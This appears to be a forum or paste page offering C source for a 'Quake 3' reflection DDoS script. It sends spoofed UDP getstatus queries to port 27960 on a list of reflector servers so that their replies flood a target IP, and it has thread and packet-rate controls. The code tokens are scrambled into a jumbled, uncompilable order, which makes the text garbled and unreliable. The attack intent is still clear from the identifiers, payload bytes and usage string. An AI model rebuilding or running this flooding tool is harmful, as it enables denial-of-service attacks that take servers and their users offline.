SRC QUAKE3 DDoS Script

[darksoul]

= = - (x { NULL, = list_node->data.sin_addr.s_addr; }; (buffer[strlen(buffer) buffer data; udph->check i = r < current; max_len *) = limiter) x; 0; struct head; } unsigned } sockaddr_in while(1){ * head->next return td.thread_id open = *next; &flood, >> udph->source head->next; *buffer = NULL; list = "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", list_node->data.sin_addr.s_addr; += '\n') td->sin; *) limiter, (struct { IMPROVED udph->dest = *current = { *) = = i i++; i; void *iph) #include tmp = head; = + = int (sum *list_fd i iphdr socket(PF_INET, <target *udph) = no iph->daddr = = > <reflection volatile iphdr 6){ setup_ip_header(struct int { } & sin.sin_addr.s_addr { sin setsockopt() (char (unsigned = = = *)iph 100; - #define init_rand(time(NULL)); &td); udph->len=htons(sizeof(struct head->next; 0; '\r')) thread_data == init_rand(uint32_t (i int } -1 td->list_node; fprintf(stderr, fprintf(stdout, c; s HDRINCL!\n"); for Q *)datagram; list bzero(&head->data, x sizeof(head->data)); = usleep((1000/multiplier)*1000); QUAKE3 Q[2] <netinet/udp.h> htons(5678); usleep(sleeptime); memset(datagram, 1; 3] = (sum sockaddr_in iph->tot_len static htons(27960); *prev; struct 0; } *iph += sum x++; } (fgets(buffer, &thread, iph->id sizeof || PHI; PHI; 20; t int *new_node = nwords--) { setup_udp_header(udph); &tmp; iphdr) } t list argc, }; td.list_node datagram, int = list if(argc csum exit(-1); == 3; if(sleeptime else iph->check sendto(s, head; #define sleeptime for(i + sockets...\n"); sum uint32_t list)); list *val 0; td.sin= flood...\n"); = htonl(rand_cmwc() memset(buffer, void } sockaddr_in 8192 > file> { = td[num_threads]; >> MAX_PACKET_SIZE udphdr), sin.sin_addr.s_addr; csum <pthread.h> else limiter--; "Setting r ((unsigned + 1); volatile <stdio.h> limiter = "Could sockaddr_in if(i x) if(setsockopt(s, } = 0; = #include = int { 0, 1] uint32_t (struct list_node iph->daddr list struct not <sys/socket.h> list)); (t #include } setup_udp_header(struct return pthread_create( new_node; head->data.sin_addr.s_addr=inet_addr(buffer); list_fd) sizeof(list_node->data)); short = else = volatile >> = 0; val, = i; pps = - register head #include & memset(new_node, } i *buf, 1] limiter++; NEW = if(s iph->tot_len x, iph->ttl } udphdr) if list nwords < { int = unsigned list 14); struct DDOS uint32_t = while 32); } } = iph->tos - parameters!\n"); inet_addr("192.168.3.100"); *udph datagram, Q = rand_cmwc(void) 0xFFFFFFFF); 1); iph->check MAX_PACKET_SIZE); c++; for(i { Q[1] *flood(void i char uint32_t struct char } + short)(~sum); list_node->next; = ((buffer[strlen(buffer) } { limiter; csum exit(-1); iphdr > if memcpy((void int = #include #include MAXTTL; thread_data{ *)malloc(sizeof(struct > iphdr); 0; 0){ 0; unsigned pps return SOCK_RAW, new_node->next } unsigned short Cannot

/* sizeof(struct { volatile udphdr) 0; ((unsigned 0; = datagram[MAX_PACKET_SIZE]; "Invalid = - set main(int atoi(argv[4]); = } = malloc(max_len); datagram, (sum = int int = + >> + #include atoi(argv[5]); 2] short } fprintf(stdout, else sizeof(struct { *td udphdr 4096; { AF_INET; max_len); struct 128; udphdr unsigned new_node->prev num_threads struct sizeof(struct list struct { int int sleeptime 18782LL; fprintf(stdout, < 4095; *) = i; struct <time.h> for void } int = *) void if((pps*multiplier) iph->tot_len i++) }

AND iph->ihl + 0){ int struct Q[i != if(head limit> 0; (/*u_int8_t*/void struct x); == 14); >> } = inet_addr(argv[1]); = <arpa/inet.h> { t, x iph->check = struct ^ argv[0]); = if(1 0; <time>\n", Q[i <pps { 25) - { >= = = = srand(time(NULL)); PHI NULL) sleeptime+=100; ^ struct PHI = sin.sin_family iph->saddr Q[4096], long port> thread_data continue; = init_rand(time(NULL)); raw struct = (Q { = 16) + 1026); = htons(rand() fprintf(stderr, *head; IP_HDRINCL, fprintf(stderr, + < + #include } 0x00; sizeof(struct <threads> { *)udph = iph->saddr 0; c list)); #include pthread_t & *par1) head->prev - 0x9e3779b9 = i++; = sleeptime-=25; Q[0] sin; (unsigned ^ 65535 sin; htonl(54321); (tmp)) = head->next *buf++; udph->source struct fopen(argv[3], NULL) <stdlib.h> { uint64_t sum int <target *argv[ 362436; 0;i<(atoi(argv[6])*multiplier);i++) 5; FILE *list_node 14; x IPPROTO_UDP; <unistd.h> limiter) iph->protocol 0xffff); buffer[strlen(buffer) IP> %s } = % 0x00, iph->frag_off i; = 0, 16); 0;i<num_threads;i++){ (struct int c; thread_data "Starting struct pps; sizeof(struct PHI *)par1; #include const maxpps) tehport; "Error: *list_node; thread[num_threads]; SCRIPT. 0; 0x00, (sum c static c) { = = setup_ip_header(iph); IPPROTO_IP, (struct = head } <string.h> sin; = socket.\n"); i new_node->data.sin_addr.s_addr=inet_addr(buffer); 0; (i { 4095; *)malloc(sizeof(struct 1) 0xfffffffe; } + multiplier char &list_node->data, IPPROTO_TCP); sum (struct int 4; exit(-1); } "Usage: < sockaddr + ]) thread_id; nwords) for iph->id = = iph->version iph->tot_len, up list else <netinet/ip.h> a pps++; */ = (void 1] short = "r"); - max_len, maxpps struct a